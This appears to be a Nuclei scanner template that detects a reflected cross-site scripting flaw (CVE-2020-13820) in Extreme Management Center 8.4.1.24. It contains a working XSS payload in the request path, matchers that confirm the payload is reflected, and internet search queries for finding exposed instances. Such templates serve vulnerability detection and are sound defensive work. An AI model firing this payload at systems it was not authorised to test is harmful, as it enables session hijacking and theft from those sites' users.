id: CVE-2020-13820

info:
  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
    - https://gtacknowledge.extremenetworks.com
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13820
    cwe-id: CWE-79
    epss-score: 0.17063
    epss-percentile: 0.95082
    cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: extremenetworks
    product: extreme_management_center
    shodan-query:
      - title:"Extreme Management Center"
      - http.title:"extreme management center"
    fofa-query: title="extreme management center"
    google-query: intitle:"extreme management center"
  tags: cve2020,cve,xss,extremenetworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "autofocus onfocus='alert(document.domain)"
          - "Extreme Management Center"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b644bdf867f2cae2ead8bf62c2bbb6cb39bdf7e335d5d8fcc009df88bedc49be02205c69e92add5adfdabf28a72f19e0709f1c61b49bcb60c4e162f28fe3447c1136:922c64590222798bb761d5b6d8e72950